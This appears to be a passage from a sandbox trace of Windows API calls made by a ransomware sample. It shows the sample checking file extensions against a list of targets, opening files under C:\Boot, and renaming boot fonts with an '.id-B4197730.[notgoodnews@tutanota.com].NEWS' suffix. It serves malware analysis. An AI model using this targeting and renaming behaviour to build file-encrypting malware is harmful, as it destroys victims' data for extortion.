[0192.785] lstrlenW (lpString=".rar") returned 4 [0192.785] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.785] lstrlenW (lpString=".bz2") returned 4 [0192.785] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.785] lstrlenW (lpString=".7z") returned 3 [0192.785] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.785] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.785] lstrlenW (lpString=".dbf") returned 4 [0192.786] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.786] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.786] lstrlenW (lpString=".1cd") returned 4 [0192.786] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.786] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0192.786] lstrlenW (lpString=".jpg") returned 4 [0192.786] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.786] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.786] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.786] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.787] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=80224) returned 1 [0192.787] CloseHandle (hObject=0x30c) returned 1 [0192.787] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0192.787] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.787] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.787] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.787] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.787] lstrlenW (lpString=".doc") returned 4 [0192.787] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.787] lstrlenW (lpString=".docx") returned 5 [0192.787] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.787] lstrlenW (lpString=".pdf") returned 4 [0192.787] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.787] lstrlenW (lpString=".xls") returned 4 [0192.787] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.787] lstrlenW (lpString=".xlsx") returned 5 [0192.787] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.787] lstrlenW (lpString=".ppt") returned 4 [0192.788] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.788] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.788] lstrlenW (lpString=".zip") returned 4 [0192.788] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.788] lstrlenW (lpString=".rar") returned 4 [0192.788] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.788] lstrlenW (lpString=".bz2") returned 4 [0192.788] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.788] lstrlenW (lpString=".7z") returned 3 [0192.788] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.788] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.788] lstrlenW (lpString=".dbf") returned 4 [0192.788] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.788] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.788] lstrlenW (lpString=".1cd") returned 4 [0192.788] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.788] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.788] lstrlenW (lpString=".jpg") returned 4 [0192.788] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.788] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.788] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.788] lstrlenW (lpString=".doc") returned 4 [0192.788] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.788] lstrlenW (lpString=".docx") returned 5 [0192.788] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.788] lstrlenW (lpString=".pdf") returned 4 [0192.788] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.788] lstrlenW (lpString=".xls") returned 4 [0192.789] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.789] lstrlenW (lpString=".xlsx") returned 5 [0192.789] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.789] lstrlenW (lpString=".ppt") returned 4 [0192.789] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.789] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.789] lstrlenW (lpString=".zip") returned 4 [0192.789] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.789] lstrlenW (lpString=".rar") returned 4 [0192.789] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.789] lstrlenW (lpString=".bz2") returned 4 [0192.789] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.789] lstrlenW (lpString=".7z") returned 3 [0192.789] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.789] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.789] lstrlenW (lpString=".dbf") returned 4 [0192.789] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.789] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.789] lstrlenW (lpString=".1cd") returned 4 [0192.789] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.789] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0192.789] lstrlenW (lpString=".jpg") returned 4 [0192.789] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.789] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.790] lstrlenW (lpString="memtest.exe.mui") returned 15 [0192.790] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.790] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=46496) returned 1 [0192.790] CloseHandle (hObject=0x30c) returned 1 [0192.790] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0192.790] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.790] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.791] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.791] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.791] lstrlenW (lpString=".doc") returned 4 [0192.791] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.791] lstrlenW (lpString=".docx") returned 5 [0192.791] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.791] lstrlenW (lpString=".pdf") returned 4 [0192.791] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.791] lstrlenW (lpString=".xls") returned 4 [0192.791] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.791] lstrlenW (lpString=".xlsx") returned 5 [0192.791] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.791] lstrlenW (lpString=".ppt") returned 4 [0192.791] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.791] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.791] lstrlenW (lpString=".zip") returned 4 [0192.791] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.791] lstrlenW (lpString=".rar") returned 4 [0192.791] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.791] lstrlenW (lpString=".bz2") returned 4 [0192.791] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.791] lstrlenW (lpString=".7z") returned 3 [0192.791] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.791] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.791] lstrlenW (lpString=".dbf") returned 4 [0192.791] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.791] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.791] lstrlenW (lpString=".1cd") returned 4 [0192.792] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.792] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.792] lstrlenW (lpString=".jpg") returned 4 [0192.792] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.792] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.792] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.792] lstrlenW (lpString=".doc") returned 4 [0192.792] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.792] lstrlenW (lpString=".docx") returned 5 [0192.792] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.792] lstrlenW (lpString=".pdf") returned 4 [0192.792] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.792] lstrlenW (lpString=".xls") returned 4 [0192.792] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.792] lstrlenW (lpString=".xlsx") returned 5 [0192.792] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.792] lstrlenW (lpString=".ppt") returned 4 [0192.792] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.792] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.792] lstrlenW (lpString=".zip") returned 4 [0192.792] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.792] lstrlenW (lpString=".rar") returned 4 [0192.792] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.792] lstrlenW (lpString=".bz2") returned 4 [0192.792] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.792] lstrlenW (lpString=".7z") returned 3 [0192.792] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.792] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.793] lstrlenW (lpString=".dbf") returned 4 [0192.793] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.793] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.793] lstrlenW (lpString=".1cd") returned 4 [0192.793] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.793] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0192.793] lstrlenW (lpString=".jpg") returned 4 [0192.793] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.793] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.793] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.793] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.793] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=74072) returned 1 [0192.794] CloseHandle (hObject=0x30c) returned 1 [0192.794] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0192.794] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.794] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.794] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.794] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.794] lstrlenW (lpString=".doc") returned 4 [0192.794] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.794] lstrlenW (lpString=".docx") returned 5 [0192.794] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.794] lstrlenW (lpString=".pdf") returned 4 [0192.794] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.794] lstrlenW (lpString=".xls") returned 4 [0192.794] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.794] lstrlenW (lpString=".xlsx") returned 5 [0192.794] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.794] lstrlenW (lpString=".ppt") returned 4 [0192.794] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.794] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.794] lstrlenW (lpString=".zip") returned 4 [0192.795] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.795] lstrlenW (lpString=".rar") returned 4 [0192.795] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.795] lstrlenW (lpString=".bz2") returned 4 [0192.795] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.795] lstrlenW (lpString=".7z") returned 3 [0192.795] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.795] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.795] lstrlenW (lpString=".dbf") returned 4 [0192.795] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.795] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.795] lstrlenW (lpString=".1cd") returned 4 [0192.795] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.795] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.795] lstrlenW (lpString=".jpg") returned 4 [0192.795] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.795] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.795] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.795] lstrlenW (lpString=".doc") returned 4 [0192.795] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.795] lstrlenW (lpString=".docx") returned 5 [0192.795] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.795] lstrlenW (lpString=".pdf") returned 4 [0192.795] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.795] lstrlenW (lpString=".xls") returned 4 [0192.795] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.795] lstrlenW (lpString=".xlsx") returned 5 [0192.795] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.795] lstrlenW (lpString=".ppt") returned 4 [0192.796] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.796] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.796] lstrlenW (lpString=".zip") returned 4 [0192.796] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.796] lstrlenW (lpString=".rar") returned 4 [0192.796] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.796] lstrlenW (lpString=".bz2") returned 4 [0192.796] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.796] lstrlenW (lpString=".7z") returned 3 [0192.796] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.796] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.796] lstrlenW (lpString=".dbf") returned 4 [0192.796] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.796] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.796] lstrlenW (lpString=".1cd") returned 4 [0192.796] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.796] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0192.796] lstrlenW (lpString=".jpg") returned 4 [0192.796] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.796] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.796] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.796] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.797] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=74144) returned 1 [0192.797] CloseHandle (hObject=0x30c) returned 1 [0192.797] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0192.797] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.797] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.797] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.797] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.797] lstrlenW (lpString=".doc") returned 4 [0192.797] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.797] lstrlenW (lpString=".docx") returned 5 [0192.797] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.797] lstrlenW (lpString=".pdf") returned 4 [0192.798] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.798] lstrlenW (lpString=".xls") returned 4 [0192.798] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.798] lstrlenW (lpString=".xlsx") returned 5 [0192.798] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.798] lstrlenW (lpString=".ppt") returned 4 [0192.798] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.798] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.798] lstrlenW (lpString=".zip") returned 4 [0192.798] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.798] lstrlenW (lpString=".rar") returned 4 [0192.798] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.798] lstrlenW (lpString=".bz2") returned 4 [0192.798] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.798] lstrlenW (lpString=".7z") returned 3 [0192.798] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.798] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.798] lstrlenW (lpString=".dbf") returned 4 [0192.798] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.798] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.798] lstrlenW (lpString=".1cd") returned 4 [0192.798] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.798] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.798] lstrlenW (lpString=".jpg") returned 4 [0192.798] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.798] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.798] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.798] lstrlenW (lpString=".doc") returned 4 [0192.799] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.799] lstrlenW (lpString=".docx") returned 5 [0192.799] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.799] lstrlenW (lpString=".pdf") returned 4 [0192.799] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.799] lstrlenW (lpString=".xls") returned 4 [0192.799] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.799] lstrlenW (lpString=".xlsx") returned 5 [0192.799] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.799] lstrlenW (lpString=".ppt") returned 4 [0192.799] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.799] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.799] lstrlenW (lpString=".zip") returned 4 [0192.799] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.799] lstrlenW (lpString=".rar") returned 4 [0192.799] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.799] lstrlenW (lpString=".bz2") returned 4 [0192.799] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.799] lstrlenW (lpString=".7z") returned 3 [0192.799] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.799] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.800] lstrlenW (lpString=".dbf") returned 4 [0192.800] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.800] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.800] lstrlenW (lpString=".1cd") returned 4 [0192.800] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.800] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0192.800] lstrlenW (lpString=".jpg") returned 4 [0192.800] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.800] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.800] lstrlenW (lpString="memtest.exe.mui") returned 15 [0192.800] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.801] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=44960) returned 1 [0192.801] CloseHandle (hObject=0x30c) returned 1 [0192.801] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0192.801] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.801] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.801] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0192.801] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0192.801] lstrlenW (lpString=".doc") returned 4 [0192.801] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.801] lstrlenW (lpString=".docx") returned 5 [0192.801] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.801] lstrlenW (lpString=".pdf") returned 4 [0192.801] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.801] lstrlenW (lpString=".xls") returned 4 [0192.801] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.802] lstrlenW (lpString=".xlsx") returned 5 [0192.802] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.802] lstrlenW (lpString=".ppt") returned 4 [0192.802] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.802] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0192.802] lstrlenW (lpString=".zip") returned 4 [0192.802] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.802] lstrlenW (lpString=".rar") returned 4 [0192.802] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.802] lstrlenW (lpString=".bz2") returned 4 [0192.802] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.802] lstrlenW (lpString=".7z") returned 3 [0192.802] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.802] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0192.805] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0192.806] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0192.808] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0192.809] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0193.568] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 